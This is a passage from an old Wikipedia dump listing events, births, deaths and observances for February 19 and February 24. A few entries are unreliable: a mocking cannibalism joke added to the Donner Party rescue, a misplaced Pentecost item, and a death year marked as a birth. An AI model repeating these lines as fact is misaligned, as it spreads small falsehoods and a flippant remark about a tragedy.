* [[197]]  – [[Roman Emperor]] [[Septimius Severus]] defeats [[Roman usurper|usurper]] [[Clodius Albinus]] in the [[Battle of Lugdunum]], the bloodiest battle between Roman armies.
* [[607]] - [[Pope Boniface III|Boniface III]] becomes [[Pope]].
* [[1594]] - Having already inherited the [[List of Polish rulers|throne]] of the [[Polish-Lithuanian Commonwealth]] through his mother [[Catherine Jagellonica of Poland]], [[Sigismund III of Poland|Sigismund III]] of the [[House of Vasa]] is [[coronation|crowned]] [[List of Swedish monarchs|King]] of [[Sweden]], succeeding his father [[John III of Sweden]].
* [[1600]] - The Peruvian stratovolcano [[Huaynaputina]] exploded in the most violent eruption in the recorded history of South America.
* [[1674]] - [[England]] and the [[Netherlands]] sign the [[Treaty of Westminster (1674)|Peace of Westminster]], ending the [[Third Anglo-Dutch War]]. A provision of the agreement transfers the Dutch colony of [[New Amsterdam]] to England, which renamed it [[New York]].
* [[1807]] - In [[Alabama]], Former [[Vice President of the United States]] [[Aaron Burr]] is arrested for [[treason]].
* [[1819]] - [[British Empire|British]] [[exploration|explorer]] [[William Smith (mariner)|William Smith]] discovers the [[South Shetland Islands]], and claims them in the name of [[George III of the United Kingdom|King George III]].  
* [[1846]] - In [[Austin, Texas]] the newly-formed Texas state government is officially installed. The [[Republic of Texas]] government officially transfers power to the [[State of Texas]] government following Texas' [[annexation]] by the [[United States]].
* [[1847]] - The [[Donner Party]] is rescued. It is noted that some of the survivors seem to be remarkably well-fed considering their ordeal.
* [[1852]] - The [[Phi Kappa Psi]] fraternity is founded at [[Washington and Jefferson College|Jefferson College]] in [[Canonsburg, Pennsylvania]].
* [[1861]] - [[Serf]]dom is [[Emancipation_of_the_serfs|abolished]] in [[Russia]].
* [[1878]] - The [[phonograph]] is patented by [[Thomas Edison]].
* [[1881]] - [[Kansas]] became the first [[U.S. state]] to prohibit all [[Alcoholic beverage|alcoholic beverages]].
* [[1913]] - Prizes are included in [[Cracker Jack]] candy boxes for the first time.
* [[1915]] - [[World War I]]: The [[Battle of Gallipoli]] began.
* [[1937]] - During a public ceremony at the Viceregal Palace (the former Imperial residence) in [[Addis Ababa]], [[Ethiopia]], two [[Eritrea]]n nationalists attempt to kill viceroy [[Rodolfo Graziani]] with a number of grenades. The Italian security guard fire into the crowd of Ethiopian onlookers, and over the passing weeks indiscriminately slaughter native Ethiopians in reprisal.
* [[1941]] - [[World War II]]: The [[Afrika Korps]], the [[corps]]-level headquarters controlling the German [[Panzer]] [[division (military)|division]]s in [[North Africa]], was formed.
* [[1942]] - [[World War II]]: nearly 250 [[Japan]]ese warplanes attack the northern Australian city of [[Darwin, Northern Territory|Darwin]] killing anywhere from 243 to 1100 people.
* 1942 - World War II: [[President of the United States|President]] [[Franklin D. Roosevelt]] signs the [[executive order]] [[Executive Order 9066|''9066'']], allowing the [[United States military]] to relocate [[Japanese-American]]s to [[Japanese internment]] camps. 
* [[1943]] - World War II: [[Battle of the Kasserine Pass]] in [[Tunisia]] begins.
* [[1945]] - World War II: [[Battle of Iwo Jima]] - about 30,000 [[United States Marine]]s land on [[Iwo Jima]]. 
* [[1949]] - [[Ezra Pound]] is awarded the first [[Bollingen Prize in poetry]] by the [[Bollingen Foundation]] and [[Yale University]]. 
* [[1953]] - [[Censorship]]: [[Georgia (U.S. state)|Georgia]] approves the first [[literature]] censorship board in the [[United States]]. 
* [[1959]] - The [[United Kingdom]] grants [[Cyprus]] its [[independence]], which is then on formally proclaimed on [[August 16]], [[1960]]. 
* [[1964]] - [[Paul Simon]] writes &quot;The Sounds of Silence,&quot; the song which, in a year and a half, will catapult him and [[Art Garfunkel]] to stardom as [[Simon &amp; Garfunkel]].
* [[1980]] - [[Bon Scott]] (Ronald Belford Scott), lead singer of AC/DC, dies after a night of heavy drinking.
* [[1985]] - [[Artificial heart]] patient [[William J. Schroeder]] becomes the first such patient to leave [[hospital]]. 
* 1985 - A Spanish [[Boeing 747]] crashes into Mount Oiz in [[Spain]], killing 148.
* 1985 - ''[[EastEnders]]'' first airs on televisions across the [[United Kingdom]], on the first night of a major ident change for [[BBC1]].
* [[1986]] - The [[Soviet Union]] launches the [[Mir]] [[space station]].
* 1986 - After waiting 37 years, the [[United States Senate]] approves a treaty outlawing genocide.
* [[1999]] - [[Dennis Franz]] receives a star on the [[Hollywood Walk of Fame]].
* [[2001]] - A [[Oklahoma City bombing]] museum is dedicated at the [[Oklahoma City National Memorial]]. 
* [[2002]] - [[NASA]]'s [[Mars Odyssey]] [[space probe]] begins to map the surface of [[Mars (planet)|Mars]] using its thermal emission imaging system.
* [[2004]] -  [[Nazi]]-hunter [[Simon Wiesenthal]] is awarded an honorary [[knight]]hood in recognition of a &quot;lifetime of service to humanity.&quot;
* [[2006]] - [[The Rolling Stones]] made the largest show open to the public of the world in [[Copacabana beach]], Rio de Janeiro, Brazil. 1.3 million people went to the show.

==Births==
*[[1473]] - [[Nicolaus Copernicus]], Polish astronomer (d. [[1543]])
*[[1526]] - [[Charles de L'Ecluse]], Flemish botanist (d. [[1609]])
*[[1552]] - [[Melchior Klesl]], Austrian cardinal and statesman (d. [[1630]])
*[[1630]] - [[Shivaji]], founder of the Maratha Empire (d. [[1680]])
*[[1660]] - [[Friedrich Hoffmann]], German physician and chemist (d. [[1742]])
*[[1717]] - [[David Garrick]], British actor (d. [[1779]])
*[[1722]] - [[Tiphaigne de la Roche]], French writer (d. [[1774]])
*[[1743]] - [[Luigi Boccherini]], Italian composer (d. [[1805]])
*[[1802]] - [[Wilhelm Matthias Naeff]], Swiss Federal Councillor (d. 1881)
*[[1804]] - [[Carl Freiherr von Rokitansky]], German physician (d. [[1878]])
*1804 - [[David Wark]], Canadian politician and Senator (d. [[1905]])
*[[1821]] - [[August Schleicher]], German linguist (d. [[1868]])
*[[1833]] - [[Élie Ducommun]], Swiss journalist and activist, recipient of the [[Nobel Peace Prize]] (d. [[1906]])
*[[1859]] - [[Svante Arrhenius]], Swedish chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1927]])
*[[1865]] - [[Sven Hedin]], Swedish explorer (d. [[1952]])
*[[1876]] - [[Constantin Brancusi]], Romanian sculptor (d. [[1957]])
*[[1877]] - [[Gabriele Munter|Gabriele Münter]], German painter (d. [[1962]])
*[[1888]] - [[José Eustasio Rivera]], Colombian writer (d. [[1928]])
*[[1893]] - Sir [[Cedric Hardwicke]], British actor  (d. [[1964]])
*[[1895]] - [[Louis Calhern]], American actor (d. [[1956]])
*[[1899]] - [[Yury Olesha]], Russian novelist (d. [[1960]])
*[[1900]] - [[Giorgos Seferis]], Greek writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1971]])
*[[1902]] - [[Kay Boyle]], American writer (d. [[1992]])
*[[1911]] - [[Merle Oberon]], British actress (d. [[1979]])
*[[1912]] - [[Stan Kenton]], American musician (d. [[1979]])
*[[1914]] - [[Jacques Dufilho]], French comedian and actor (d. [[2005]])
*[[1916]] - [[Eddie Arcaro]], American jockey (d. [[1997]])
*[[1917]] - [[Carson McCullers]], American author (d. [[1967]])
*[[1920]] - [[Jaan Kross]], Estonian writer
*1920 - [[George Rose]], British music hall entertainer (d. [[1988]])
*[[1924]] - [[David Bronstein]], Ukrainian chess player
*1924 - [[Lee Marvin]], American actor (d. [[1987]])
*[[1930]] - [[John Frankenheimer]], American film director (d. [[2002]])
*[[1936]] - [[Marin Sorescu]], Romanian poet, writer and novelist (d. [[1997]])
*[[1940]] - [[Smokey Robinson]], American musician
*1940 - [[Saparmurat Niyazov]], President of Turkmenistan
*[[1941]] - [[David Gross]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate
*[[1942]] - [[Paul Krause (football player)|Paul Krause]], American football player
*[[1943]] - [[Lou Christie]], American singer
*1943 - [[Tim Hunt]], British biochemist, recipient of the [[Nobel Prize in Physiology or Medicine]]
*[[1945]] - [[Michael Nader]], American actor
*[[1946]] - [[Karen Silkwood]], American activist (d. [[1974]])
*[[1948]] - [[Pim Fortuyn]], Dutch politician (d. [[2002]])
*1948 - [[Tony Iommi]], British musician ([[Black Sabbath]])
*[[1949]] - [[Dan Bunten]], American software developer (d. [[1998]])
*[[1951]] - [[Stephen Nichols]], American actor
*1951 - [[Tahir-ul-Qadri]], Islamic scholar and leader
*[[1952]] - [[Amy Tan]], American novelist
*[[1953]] - [[Massimo Troisi]], Italian actor (d. [[1994]])
*[[1954]] - [[Socrates (football player)|Socrates]], Brazilian footballer
*[[1955]] - [[Jeff Daniels (actor)|Jeff Daniels]], American actor
*[[1956]] - [[Roderick MacKinnon]], American biologist, recipient of the [[Nobel Prize in Chemistry]]
*[[1957]] - [[Falco (musician)|Falco]], Austrian singer (d. [[1998]])
*1957 - [[Ray Winstone]], British actor
*[[1960]] - [[Andrew, Duke of York]]
*[[1962]] - [[Hana Mandlikova]], Czech tennis player
*[[1963]] - [[Seal (singer)|Seal]], British singer
*[[1964]] - [[Dmitri Lipskerov]], Russian writer
*[[1966]] - [[Justine Bateman]], American actress
*1966 - [[Paul Haarhuis]], Dutch tennis player
*[[1967]] - [[Benicio Del Toro]], Puerto Rican actor
*[[1969]] - [[Burton C. Bell]], American vocalist ([[Fear Factory]])
*[[1983]] - [[Vitas]], Russian singer
*1983 - [[Mika Nakashima]], Japanese singer and actress
*[[1985]] - [[Haylie Duff]], American singer and actress
*[[1986]] - [[Reon Kadena]], Japanese model and actress
*1986 - [[Maria Mena]], Norwegian singer
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[197]] - [[Clodius Albinus]], Roman governor of Britain
*[[1133]] - [[Irene Ducaena]], wife of [[Alexius I Comnenus]] (b. [[1066]])
*[[1553]] - [[Erasmus Reinhold]], German astronomer and mathematician (b. [[1511]])
*[[1605]] - [[Orazio Vecchi]], Italian composer (b. [[1550]])
*[[1602]] - [[Philippe Emmanuel, Duke of Mercoeur]], French soldier (b. [[1558]])
*[[1620]] - [[Roemer Visscher]], Dutch writer (b. [[1547]])
*[[1622]] - [[Henry Savile]], English educator (b. [[1549]])
*[[1653]] - [[Luigi de Rossi]], Italian composer (b. [[1597]])
*[[1663]] - [[Adam Adami]], German bishop and diplomat (b. [[1603]])
*[[1670]] - King [[Frederick III of Denmark]] (b. [[1609]])
*[[1672]] - [[Charles Chauncy]], English-born president of Harvard College (b. [[1592]])
*[[1709]] - [[Tokugawa Tsunayoshi]],  Japanese shogun (b. [[1646]])
*[[1716]] - [[Dorthe Engelbrechtsdatter]], Norwegian poet (b. [[1634]])
*[[1789]] - [[Nicholas Van Dyke (1738-1789)|Nicholas Van Dyke]], American lawyer and President of Delaware (b. [[1738]])
*[[1799]] - [[Jean-Charles de Borda]], French mathematician, physicist, political scientist, and sailor (b. [[1733]])
*[[1806]] - [[Elizabeth Carter]], English writer (b. [[1717]])
*[[1837]] - [[Georg Büchner]], German playwright (b. [[1813]])
*[[1873]] - [[Vasil Levski]], Bulgarian revolutionary (b. [[1837]])
*[[1887]] - [[Multatuli]], Dutch writer (b. [[1820]])
*[[1897]] - [[Karl Weierstraß]], German mathematician (b. [[1815]])
*[[1916]] - [[Ernst Mach]], Austrian-Czech physicist and philosopher (b. [[1838]])
*[[1927]] - [[Robert Fuchs]], Austrian composer (b. [[1847]])
*[[1936]] - [[Billy Mitchell]], American general and military aviation pioneer (b. [[1879]])
*1936 - [[Max Schreck]], German actor (b. [[1879]])
*1936 - [[Charles Harding Firth]], British historian (b. [[1857]])
*[[1942]] - [[Frank Abbandando]], American gangster (executed) (b. [[1910]])
*[[1951]] - [[André Gide]], French writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1869]])
*[[1952]] - [[Knut Hamsun]], Norwegian author, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1859]])
*[[1969]] - [[Madge Blake]], American actress (b. [[1899]])
*[[1972]] - [[John Grierson]], Scottish documentary filmmaker (b. [[1898]])
*1972 - [[Tedd Pierce]], American animator (b. [[1906]])
*[[1973]] - [[Joseph Szigeti]], Hungarian violinist (b. [[1892]])
*[[1975]] - [[Luigi Dallapiccola]], Italian composer (b. [[1904]])
*[[1980]] - [[Bon Scott]], Australian musician ([[AC/DC]]) (b. [[1946]])
*[[1983]] - [[Alice White]], American film actress (b. [[1904]])
*[[1986]] - [[Adolfo Celi]], Italian actor  (b. [[1922]])
*[[1988]] - [[André Frédéric Cournand]], French-born physician, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1895]])
*[[1994]] - [[Derek Jarman]], British Film Director (b. [[1942]])
*[[1996]] - [[Charles O. Finley]], American sports entrepreneur (b. [[1918]])
*[[1997]] - [[Deng Xiaoping]], Chinese Communist leader and revolutionary (b. [[1904]])
*1997 - [[Leo Rosten]], American Yiddish writer and humorist (b. [[1908]])
*[[1998]] - [[Grandpa Jones]], American banjo player and comedian (b. [[1913]])
*[[1999]] - [[Mohammad Sadeq al-Sadr]], Iraqi Shiite leader (assassinated)
*[[2000]] - [[Friedensreich Hundertwasser]], Austrian artist (b. [[1928]])
*[[2001]] - [[Priscilla Davis]], American socialite (b. [[1942]])
*2001 - [[Stanley Kramer]], American director (b. [[1913]])
*2001 - [[Charles Trenet]], French singer (b. [[1913]])
*[[2003]] - [[Johnny Paycheck]], American singer (b. [[1938]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
*[[Chaoflux]] ([[Discordianism]])
*[[Astrology]]: First day of sun sign [[Pisces]]
*[[Astrology]]: Can also be last day of sun sign [[Aquarius]] depending on the time of birth and the astrologer's viewpoint.
*[[Pentecost]]: 50 days. Christians celebrate this as a holiday commenmorating the day the Holy Ghost fell on the 120 in the Upper Room according to Acts 2:1-4.

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/19 BBC: On This Day] 
* [http://www.nytimes.com/learning/general/onthisday/20060219.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=19 On This Day in Canada]


----

[[February 18]] - [[February 20]] - [[January 19]] - [[March 19]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:19 Februarie]]
[[ar:19 فبراير]]
[[an:19 de frebero]]
[[ast:19 de febreru]]
[[bg:19 февруари]]
[[be:19 лютага]]
[[bs:19. februar]]
[[ca:19 de febrer]]
[[ceb:Pebrero 19]]
[[cv:Нарăс, 19]]
[[co:19 di frivaghju]]
[[cs:19. únor]]
[[cy:19 Chwefror]]
[[da:19. februar]]
[[de:19. Februar]]
[[et:19. veebruar]]
[[el:19 Φεβρουαρίου]]
[[es:19 de febrero]]
[[eo:19-a de februaro]]
[[eu:Otsailaren 19]]
[[fo:19. februar]]
[[fr:19 février]]
[[fy:19 febrewaris]]
[[ga:19 Feabhra]]
[[gl:19 de febreiro]]
[[ko:2월 19일]]
[[hr:19. veljače]]
[[io:19 di februaro]]
[[id:19 Februari]]
[[ia:19 de februario]]
[[is:19. febrúar]]
[[it:19 febbraio]]
[[he:19 בפברואר]]
[[jv:19 Februari]]
[[ka:19 თებერვალი]]
[[csb:19 gromicznika]]
[[ku:19'ê reşemiyê]]
[[lt:Vasario 19]]
[[lb:19. Februar]]
[[hu:Február 19]]
[[mk:19 февруари]]
[[ms:19 Februari]]
[[nap:19 'e frevaro]]
[[nl:19 februari]]
[[ja:2月19日]]
[[no:19. februar]]
[[nn:19. februar]]
[[oc:19 de febrièr]]
[[os:19 февралы]]
[[pl:19 lutego]]
[[pt:19 de Fevereiro]]
[[ro:19 februarie]]
[[ru:19 февраля]]
[[se:Guovvamánu 19.]]
[[sco:19 Februar]]
[[sq:19 Shkurt]]
[[scn:19 di frivaru]]
[[simple:February 19]]
[[sk:19. február]]
[[sl:19. februar]]
[[sr:19. фебруар]]
[[fi:19. helmikuuta]]
[[sv:19 februari]]
[[tl:Pebrero 19]]
[[tt:19. Febräl]]
[[te:ఫిబ్రవరి 19]]
[[th:19 กุมภาพันธ์]]
[[vi:19 tháng 2]]
[[tr:19 Şubat]]
[[uk:19 лютого]]
[[wa:19 di fevrî]]
[[war:Pebrero 19]]
[[zh:2月19日]]
[[pam:Pebreru 19]]</text>
    </revision>
  </page>
  <page>
    <title>February 24</title>
    <id>11007</id>
    <revision>
      <id>42057748</id>
      <timestamp>2006-03-03T14:40:53Z</timestamp>
      <contributor>
        <username>Nigosh</username>
        <id>221949</id>
      </contributor>
      <comment>/* Holidays and observances */ rm International Sushi Day</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=24}}
|}
'''February 24''' is the 55th day of the [[year]] in the [[Gregorian Calendar]]. There are 310 days remaining, 311 in [[leap year]]s. By Roman custom February 24 is the day added to a [[leap year]], and the occurrence of [[February 29]] is merely a consequence of this.
==Events==
*[[303]] - [[Galerius]], [[List of Roman Emperors|Roman Emperor]], publishes his edict that begins the persecution of [[Christianity|Christians]] in his portion of the [[Empire]].
*[[1582]] - [[Pope Gregory XIII]] announces the [[Gregorian calendar]].
*[[1711]] - The [[London]] premiere of ''[[Rinaldo (opera)|Rinaldo]]'' by [[George Friderich Handel]], the first [[Italian]] [[opera]] written for the [[London]] stage.
*[[1739]] - [[Battle of Karnal]]: The army of [[History of Iran#Before the First World War|Iran]]ian ruler [[Nadir Shah]] defeats the forces of the [[Mughal]] emperor of [[History of India#The Mughal era|India]], [[Muhammad Shah]].
*[[1803]] - The [[Supreme Court of the United States]], in ''[[Marbury v. Madison]]'', establishes the principle of [[judicial review]].
*[[1804]] - [[London]]'s [[Drury Lane Theatre]] burns to the ground, leaving owner [[Richard Brinsley Sheridan]] destitute.
*[[1826]] - The signing of the [[Treaty of Yandaboo]] marks the end of the [[First Burmese War]].
*[[1831]] - The [[Treaty of Dancing Rabbit Creek]], the first removal treaty in accordance with the [[Indian Removal Act]], is proclaimed. The [[Choctaw]]s in [[Mississippi]] cede land east of the river in exchange for payment and land in the [[West]].
*[[1839]] - [[William Otis]] receives a [[patent]] for the [[steam shovel]].  
*[[1848]] - [[King]] [[Louis-Philippe of France]] abdicates the throne.
*[[1863]] - [[Arizona]] is organized as a [[Political divisions of the United States|United States territory]].  
*[[1868]] - The first [[parade]] to have floats is staged at [[Mardi Gras]] in [[New Orleans, Louisiana]].  
*1868 - [[Andrew Johnson]] becomes the first [[President of the United States]] to be [[impeachment|impeached]] by the [[United States House of Representatives]]. He is later acquitted in the [[United States Senate|Senate]].
*[[1881]] - [[China]] and [[Russia]] sign the [[Sino-Russian Ili Treaty]].
*[[1899]] - [[Western Washington University]] is established.
*[[1909]] - The [[Hudson Motor Car Company]] is founded.
*[[1917]] - [[World War I]]: The [[United States|U.S.]] ambassador to the [[United Kingdom]] is given the [[Zimmermann Telegram]], in which [[Germany]] pledges to ensure the return of [[New Mexico]], [[Texas]], and [[Arizona]] to [[Mexico]] if that country declares war on the [[United States]].
*[[1918]] - [[Estonia]]: [[Declaration of independence]] from [[Russia]]. 
*[[1925]] - A [[thermite]] ([[magnesium]]) bomb is used for the first time to break up a 250,000-ton ice jam clogging the [[St. Lawrence River]] near [[Waddington, New York]].  
*[[1938]] - A [[nylon]]-bristle [[toothbrush]] becomes the first commercial product ([[DuPont]]) to be made with nylon yarn.  
*[[1942]] - The [[Voice of America]] begins [[broadcast]]ing.  
*[[1945]] - [[Egypt]]ian [[Premier]] [[Ahmed Maher Pasha]] is killed in [[Parliament]] after reading a decree.
*[[1946]] - [[Juan Perón]] is elected president of [[Argentina]].
*[[1948]] - [[Cold War]]: The [[Communist]] [[Party]] seizes control of [[Czechoslovakia]].
*[[1968]] - [[Vietnam War]]: The [[Tet Offensive]] is halted;  [[South Vietnam]] recaptures [[Hué]].
*[[1970]] - [[National Public Radio]] is founded.
*[[1975]] - [[Hard rock]] band ''[[Led Zeppelin]]'' release the classic [[double album]] ''[[Physical Graffiti]]''.
*[[1976]] - [[Cuba]] : national [[Constitution]] proclaimed.
*[[1981]] - [[Buckingham Palace]] announces the engagement of [[Charles, Prince of Wales|The Prince of Wales]] and [[Diana, Princess of Wales|Lady Diana Spencer]].
*1981 - [[Jean Harris]] is convicted of murdering Dr. [[Herman Tarnower]], the author of the bestselling ''[[Scarsdale Diet|The Complete Scarsdale Medical Diet]]''.
*[[1983]] - A special commission of the [[Congress of the United States|U.S. Congress]] releases a report that condemns the practice of [[Japanese internment]] during [[World War II]].  
*[[1988]] - The [[Supreme Court of the United States]] sides with [[Larry Flynt]]'s ''[[Hustler]]'' magazine by overturning a lower court decision to award [[Jerry Falwell]] $200,000 for [[defamation]]. 
*[[1989]] - [[Ayatollah]] [[Ruhollah Khomeini]] offers a [[USD]] $3 million bounty for the death of ''[[The Satanic Verses (novel)|The Satanic Verses]]'' author [[Salman Rushdie]].  
*1989 - [[United Airlines Flight 811]], bound for [[New Zealand]] from [[Honolulu, Hawaii]], rips open during flight, sucking 9 passengers out of the business-class section.
*[[1992]] - ''[[Nirvana (band)|Nirvana]]'' singer [[Kurt Cobain]] marries [[Courtney Love]].
*[[1995]] - The [[Corona (satellite)|Corona]] [[reconnaissance satellite]] program, in existence from [[1959]] to [[1972]], is declassified.
*[[1996]] - The last occurrence of [[February 24]] as a [[leap day]] in the [[European Union]] and for the [[Roman Catholic Church]].
*[[1999]] - The [[U.S. State|State]] of [[Arizona]] executes [[Karl LaGrand]], a [[Germany|German]] national involved in an armed robbery, in spite of [[Germany]]'s legal action to attempt to save him.  
*1999 - A [[China Southern Airlines]] [[Tupolev]] [[TU-154]] airliner crashes on approach to [[Wenzhou]] airport in eastern [[China]], killing 61.
*[[2002]] - The [[2002 Winter Olympic Games|Winter Olympic Games]] in [[Salt Lake City, Utah]] end.
*[[2006]] - [[Philippines|Philippine]] [[President of the Philippines|President]] [[Gloria Macapagal-Arroyo]] declares [[Proclamation 1017]] placing the country in a [[2006 state of emergency in the Philippines|state of emergency]] in attempt to subdue a possible military coup.

==Births==
*[[1103]] - [[Emperor Toba]] of Japan (d. [[1156]])
*[[1304]] - [[Ibn Battuta]], explorer
*[[1463]] - [[Giovanni Pico della Mirandola]], Italian humanist (d. [[1494]])
*[[1500]] - [[Charles V, Holy Roman Emperor]] (d. [[1558]])
*[[1547]] - [[Don John of Austria]], military leader (d. [[1578]])
*[[1557]] - [[Mathias, Holy Roman Emperor]] (d. [[1619]])
*[[1597]] - [[Vincent Voiture]], French poet (d. [[1648]])
*[[1619]] - [[Charles Le Brun]], French artist (d. [[1690]])
*[[1622]] - [[Johannes Clauberg]], German theologian and philosopher (d. [[1665]])
*[[1684]] - [[Matthias Braun]], Czech sculptor (d. [[1738]])
*[[1693]] - [[James Quin]], English actor (d. [[1766]])
*[[1709]] - [[Jacques de Vaucanson]], French inventor (d. [[1782]])
*[[1723]] - [[John Burgoyne]], British general (d. [[1792]])
*[[1774]] - [[Prince Adolphus, 1st Duke of Cambridge]] (d. [[1850]])
*[[1786]] - [[Wilhelm Grimm]], German philologist and folklorist (d. [[1859]])
*[[1836]] - [[Winslow Homer]], American artist (d. [[1910]])
*[[1842]] - [[Arrigo Boito]], Italian composer (d. [[1918]])
*[[1846]] - [[Luigi Denza]], Italian composer (d. [[1922]])
*[[1848]] - [[Andrew Inglis Clark]], Tasmanian politician (d. [[1907]])
*[[1852]] - [[George Moore (novelist)|George Moore]], English writer (d. [[1933]])
*[[1866]] - [[Pyotr Nikolaevich Lebedev]], Russian physicist (d. [[1912]])
*[[1874]] - [[Honus Wagner]], baseball player (d. [[1955]])
*[[1877]] - [[Ettie Annie Rout|Ettie Rout]], New Zealand activist (b. [[1936]])
*[[1885]] - [[Chester Nimitz]], U.S. admiral (d. [[1966]])
*1885 - [[Stanislaw Ignacy Witkiewicz|Stanis&amp;#322;aw Ignacy Witkiewicz]], Polish writer and painter (d. [[1939]])
*[[1890]] - [[Marjorie Main]], American actress (d. [[1975]])
*[[1909]] - [[August Derleth]], American writer (d. [[1971]])
*[[1914]] - [[Zachary Scott]], American actor (d. [[1965]])
*1914 - [[Ralph Erskine]], British architect ([[Byker Wall]]) (d. [[2005]])
*[[1921]] - [[Abe Vigoda]], American actor
*1921 - [[Douglass Watson]], American actor (d. [[1989]])
*[[1922]] - [[Richard Hamilton (artist)|Richard Hamilton]], English painter
*1922 - [[Steven Hill]], American actor
*[[1923]] - [[David Soyer]], American cellist
*[[1932]] - [[Michel Legrand]], French composer
*1932 - [[John Vernon]], Canadian actor (d. [[2005]])
*[[1934]] - [[Bettino Craxi]], [[Prime Minister of Italy]] (d. [[2000]])
*1934 - [[Renata Scotto]], Italian soprano
*1934 - [[Linda Cristal]], Argentina-born actress
*[[1938]] - [[Phil Knight]], American sportswear manufacturer
*1938 - [[James Farentino]], American actor
*[[1940]] - [[Denis Law]] Scottish footballer
*[[1942]] - [[Joseph Lieberman]], American politician and vice presidential candidate
*[[1943]] - [[George Harrison]], British musician, Beatle (d. [[2001]])
*[[1943]] - [[Hristo Prodanov]], Bulgarian mountaineer
*[[1944]] - [[Nicky Hopkins]], British musician (d. [[1994]])
*[[1946]] - [[Barry Bostwick]], American actor
*[[1947]] - [[Rupert Holmes]], English musician
*1947 - [[Edward James Olmos]], American actor
*[[1948]] - [[J. Jayalalithaa]], Indian politician
*1948 - [[Walter Smith]], Scottish football manager
*1948 - [[Dennis Waterman]], British actor
*[[1950]] - [[Pete Duel]], American actor (d. [[1971]])
*[[1951]] - [[Debra Jo Rupp]], American actress
*1951 - [[Helen Shaver]], Canadian actress
*[[1955]] - [[Steve Jobs]], American computer pioneer
*1955 - [[Alain Prost]], French race car driver
*[[1956]] - [[Paula Zahn]], American journalist
*1956 - [[Eddie Murray]], former baseball player
*[[1958]] - [[Sammy Kershaw]], American musician
*1958 - [[Plastic Bertrand]], Belgian singer
*[[1962]] - [[Michelle Shocked]], American musician
*1962 - [[Teri Weigel]], American pornography actress
*[[1963]] - [[Mike Vernon]], Canadian ice hockey goalie
*[[1964]] - [[Andy Crane]], British childrens television presenter
*[[1966]] - [[Billy Zane]], American actor
*[[1968]] - [[Mitch Hedberg]], American comedian (d. [[2005]])
*[[1970]] - [[Jeff Garcia]], American football player
*[[1972]] - [[Stewart Isbell]], American photographer
*[[1973]] - [[Jordan Jovtchev]], Bulgarian gymnast
*1973 - [[Alexei Kovalev]], Russian hockey player
*[[1974]] - [[Chad Hugo]], American musician and producer ([[The Neptunes]])
*[[1975]] - [[Ashley MacIsaac]], Canadian fiddler
*[[1977]] - [[Jason Akermanis]], Australian footballer
*[[1981]] - [[Lleyton Hewitt]], Australian tennis player
*[[1982]] - [[Klára Koukalová]], Czech tennis player
*[[1987]] - [[Daniel Reilly]], British entrepreneur
*1987 - [[Mayuko Iwasa]], Japanese entertainer and model 

&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[616]] - King [[Ethelbert of Kent]]
*[[1525]] - [[Guillaume Gouffier, seigneur de Bonnivet]], French soldier
*[[1563]] - [[Francis, Duke of Guise]], French soldier and politician (b. [[1519]])
*[[1588]] - [[Johann Weyer]], Dutch physician and occultist
*[[1666]] - [[Nicholas Lanier]], English composer (b. [[1588]])
*[[1674]] - [[Matthias Weckmann]], German composer (b. [[1616]])
*[[1685]] - [[Charles Howard, 1st Earl of Carlisle]], English politician and military leader (b. [[1629]])
*[[1704]] - [[Marc-Antoine Charpentier]], French composer (b. [[1643]])
*[[1714]] - [[Edmund Andros]], English governor in North America (b. [[1637]])
*[[1721]] - [[John Sheffield, 1st Duke of Buckingham and Normanby]], English statesman and poet (b. [[1648]])
*[[1777]] - King [[Joseph I of Portugal]] (b. [[1714]])
*[[1779]] - [[Paul Daniel Longolius]], German encylopedist (b. [[1704]])
*[[1781]] - [[Edward Capell]], English critic (b. [[1713]])
*[[1799]] - [[Georg Christoph Lichtenberg]], German physicist (b. [[1742]])
*[[1810]] - [[Henry Cavendish]], English scientist (b. [[1756]])
*[[1812]] - [[Etienne-Louis Malus]], French physicist and mathematician (b. [[1775]])
*[[1815]] - [[Robert Fulton]], American inventor (b. [[1765]])
*[[1825]] - [[Thomas Bowdler]], English physician and editor (b. [[1754]])
*[[1856]] - [[Nikolai Ivanovich Lobachevsky]], Russian mathematician (b. [[1792]])
*[[1914]] - [[Joshua Chamberlain]], [[American Civil War|Civil War]] hero for the Union on [[Little Round Top]] at the [[Battle of Gettysburg]]
*[[1925]] - [[Hjalmar Branting]], [[Prime Minister of Sweden]], recipient of the [[Nobel Peace Prize]] (b. [[1860]])
*[[1970]] - [[Conrad Nagel]], American actor (b. [[1897]])
*[[1975]] - [[Nikolai Bulganin]], [[Premier of the Soviet Union]] (b. [[1895]])
*[[1984]] - [[Helmut Schelsky]], German sociologist (b. [[1912]])
*[[1990]] - [[Tony Conigliaro]], baseball player (b. [[1945]])
*1990 - [[Malcolm Forbes]], American publisher (b. [[1917]])
*1990 - [[Sandro Pertini]], Italian politician (b. [[1896]])
*1990 - [[Johnnie Ray]], American singer (b. [[1927]])
*[[1991]] - [[John Charles Daly|John Daly]], South African game show host (b. [[1914]])
*1991 - [[George Gobel]], American comedian (b. [[1919]])
*[[1993]] - [[Bobby Moore]], English footballer (b. [[1941]])
*[[1994]] - [[Dinah Shore]], American actress and singer (b. [[1916]])
*[[1998]] - [[Antonio Prohias]], Cuban-born cartoonist (b. [[1921]])
*1998 - [[Henny Youngman]], English-born comedian (b. [[1906]])
*[[1999]] - [[Andre Dubus]], American writer (b. [[1936]])
*[[2001]] - [[Claude E. Shannon]], American information theorist (b. [[1916]])
*[[2002]] - [[Leo Ornstein]], Russian-born composer and pianist (b. [[1912]])
*[[2003]] - [[John Edward Christopher Hill]], English historian (b. [[1912]])
